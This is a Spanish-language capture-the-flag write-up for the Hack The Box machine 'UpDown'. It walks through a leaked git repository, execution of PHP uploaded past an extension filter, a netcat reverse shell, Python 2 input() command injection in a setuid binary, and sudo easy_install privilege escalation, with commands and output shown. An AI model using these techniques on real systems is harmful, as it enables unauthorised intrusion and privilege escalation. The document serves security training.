UpDown expone el repositorio de su sitio web, tras analizar el codigo fuente del sitio identificamos que es posible ejecutar codigo PHP lo cual nos permitió acceder a un primer usuario. La funcion input() vulnerable de Python2.7 dentro de un script nos dio acceso a un segundo usuario por SSH. Finalmente escalamos privilegios por medio de easy_install de Python.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Wed Sep 7 13:43:17 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.177Nmap scan report for 10.10.11.177 (10.10.11.177)Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)|256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 7 13:43:27 2022 -- 1 IP address (1 host up) scanned in 10.00 seconds
Web Site
El sitio web presenta un formulario para el ingreso de una dirección URL, esto para verificar si un sitio está disponible. Tambien, se muestra una opcion para activar el modo Debug. Además muestra un dominio en el footer.
Realizamos una prueba a un servidor http con python, el sitio muestra los headers y el body del sitio web al que verifica si está disponible.
Si observamos la solicitud con netcat no muestra algun sofware o teconología en los headers.
1
2
3
4
5
6
7
8
π ~/htb/updown ❯ sudo nc -lvp 80[sudo] password for sckull:
listening on [any]80 ...
connect to [10.10.14.207] from siteisup.htb [10.10.11.177]39652GET / HTTP/1.1
Host: 10.10.14.207
User-Agent: siteisup.htb
Accept: */*
Directory Brute Forcing
feroxbuster además de las direcciones ya conocidas, muestra el directorio /dev.
π ~/htb/updown ❯ curl -s http://dev.siteisup.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>
π ~/htb/updown ❯
Git Dumper
Utilizando git-dumper obtuvimos el repositorio expuesto en el sitio web.
Analizando los archivos, observamos .htacces, segun la configuración de este archivo, es requerido el header Special-Dev: only4dev para acceder al sitio, seguramente con ello podemos acceder al subdominio.
1
2
3
4
5
6
7
π repo_dev main ❯ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
π repo_dev main ❯
Utilizando el header mencionado logramos acceder al contenido del subdominio, se muestra una version similar al del dominio.
Observamos el codigo fuente para las paginas admin, index y checker.
<?phpif(DIRECTACCESS){die("Access Denied");}?><!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
<?php
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
function getExtension($file) {
$extension = strrpos($file,".");
return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>
Vemos la funcion isitup() la cual realiza una solicitud utilizando curl verificando que el codigo de respuesta del sitio sea 200, en este caso retorna un array. Asi mismo la función getExtension() que obtiene la extension de un string.
Que la extension del archivo no exista en la expresion regular.
Crea un nuevo directorio en /uploads utilizando md5 y la función time(), dentro de este mueve el archivo enviado (ips_list.txt).
Con el archivo ya en el directorio, divide el archivo en cada salto de linea, para finalmente verificar que cada linea sea una URL, de ser asi verifica la disponibilidad de este con la función isitup() segun la respuesta imprime el resultado.
if($_POST['check']){# File size must be less than 10kb.
if($_FILES['file']['size']>10000){die("File too large!");}$file=$_FILES['file']['name'];# Check if extension is allowed.
$ext=getExtension($file);if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){die("Extension not allowed!");}# Create directory to upload our file.
$dir="uploads/".md5(time())."/";if(!is_dir($dir)){mkdir($dir,0770,true);}# Upload the file.
$final_path=$dir.$file;move_uploaded_file($_FILES['file']['tmp_name'],"{$final_path}");# Read the uploaded file.
$websites=explode("\n",file_get_contents($final_path));foreach($websitesas$site){$site=trim($site);if(!preg_match("#file://#i",$site)&&!preg_match("#data://#i",$site)&&!preg_match("#ftp://#i",$site)){$check=isitup($site);if($check){echo"<center>{$site}<br><font color='green'>is up ^_^</font></center>";}else{echo"<center>{$site}<br><font color='red'>seems to be down :(</font></center>";}}else{echo"<center><font color='red'>Hacking attempt was detected !</font></center>";}}# Delete the uploaded file.
@unlink($final_path);}
User - www-data
Si observamos existe cierto limite de tiempo para acceder al archivo subido (ip_list.txt), de ser posible podriamos verificar si dentro de este es posible ejecutar codigo php tras visitar upload/<nombre_archivo_en_md5>.<extension_php>.
Como sabemos el sitio verifica que las direcciones dentro del archivo estén disponibles, si enviamos direcciones a las cuales la máquina no puede acceder podemos crear un lapso de tiempo para poder acceder al sitio (tiempo de espera de respuesta del sitio en curl). Verificamos esto en el tiempo de respuesta del sitio, 80 segundos.
Ahora vamos con la extension del archivo, si observamos existen ciertas extensiones que no estan permitidas.
1
2
3
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){die("Extension not allowed!");}
También existen distintas extensiones que podríamos utlizar para el archivo.
Intentamos distintas shells inversas en PHP pero ninguna ejecutaba comandos en la máquina. Un post de Acunetix nos muestra una linea de codigo que nos permite imprimir las funciones peligrosas que nos permitirían ejecutar comandos.
Se muestran distintas formas de ejecutar codigo con esta funcion, encontramos una solucion en StackOverflow, la cual nos permitio obtener multiples pings desde la máquina.
π ~/htb/updown ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.207] from siteisup.htb [10.10.11.177]37696/bin/sh: 0: can't access tty; job control turned off
$ which python
sh: 0: getcwd() failed: No such file or directory
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash");'shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@updown:/var/www/dev/uploads/c1d2f9410ea974ddc7b0b250e752abc2$ whoami;pwd;id
www-data
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
uid=33(www-data)gid=33(www-data)groups=33(www-data)www-data@updown:/var/www/dev/uploads/c1d2f9410ea974ddc7b0b250e752abc2$
User - Developer
Enumerando los directorios, encontramos que el usuario www-data tiene acceso a un archivo python y un ejecutable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@updown:/home/developer/dev$ ls -lah
total 68K
drwxr-x--- 2 developer www-data 4.0K Sep 13 22:36 .
drwxr-xr-x 6 developer developer 4.0K Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data 17K Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 15:45 siteisup_test.py
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests
url= input("Enter URL here:")page= requests.get(url)if page.status_code == 200:
print "Website is up"else:
print "Website is down"www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
www-data@updown:/home/developer/dev$
siteisup parece ejecutar el archivo de python.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
http://localhost
http://localhost
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url= input("Enter URL here:") File "<string>", line 1 http://localhost
^
SyntaxError: invalid syntax
www-data@updown:/home/developer/dev$
Si observamos las strings vemos que unicamente ejecuta el script.
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
__import__("os").system("id")__import__("os").system("id")uid=1002(developer)gid=33(www-data)groups=33(www-data)Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 4, in <module>
page= requests.get(url) File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
return request('get', url, params=params, **kwargs) File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
return session.request(method=method, url=url, **kwargs) File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
prep= self.prepare_request(req) File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
hooks=merge_hooks(request.hooks, self.hooks),
File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
self.prepare_url(url, params) File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
raise MissingSchema(error)requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?
www-data@updown:/home/developer/dev$
Shell
Realizamos la lectura de la clave privada SSH de developer la cual nos permitio acceder por SSH y obtener la flag user.txt.
π ~/htb/updown ❯ ssh -i id_rsa_developer developer@10.10.11.177
The authenticity of host '10.10.11.177 (10.10.11.177)' can't be established.
ECDSA key fingerprint is SHA256:npwXkHj+pLo3LaYR66HNCKEpU/vUoTG03FL41SMlIh0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.177'(ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Sep 7 22:57:32 UTC 2022 System load: 0.0 Processes: 241 Usage of /: 58.5% of 2.84GB Users logged in: 0 Memory usage: 26% IPv4 address for eth0: 10.10.11.177
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Sep 7 19:36:02 2022 from 10.10.14.49
developer@updown:~$ whoami;id;pwddeveloper
uid=1002(developer)gid=1002(developer)groups=1002(developer)/home/developer
developer@updown:~$ cat user.txt
7fb0f643feb421c8ba6c3a784cb00291
developer@updown:~$
Privesc
El usuario developer puede ejecutar easy_install con sudo.
1
2
3
4
5
6
7
8
9
10
11
12
developer@updown:~$ sudo -l -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/local/bin/easy_install
developer@updown:~$
Utilizamos la sintaxis recomendada por GTFOBins para ejecutar una shell inversa.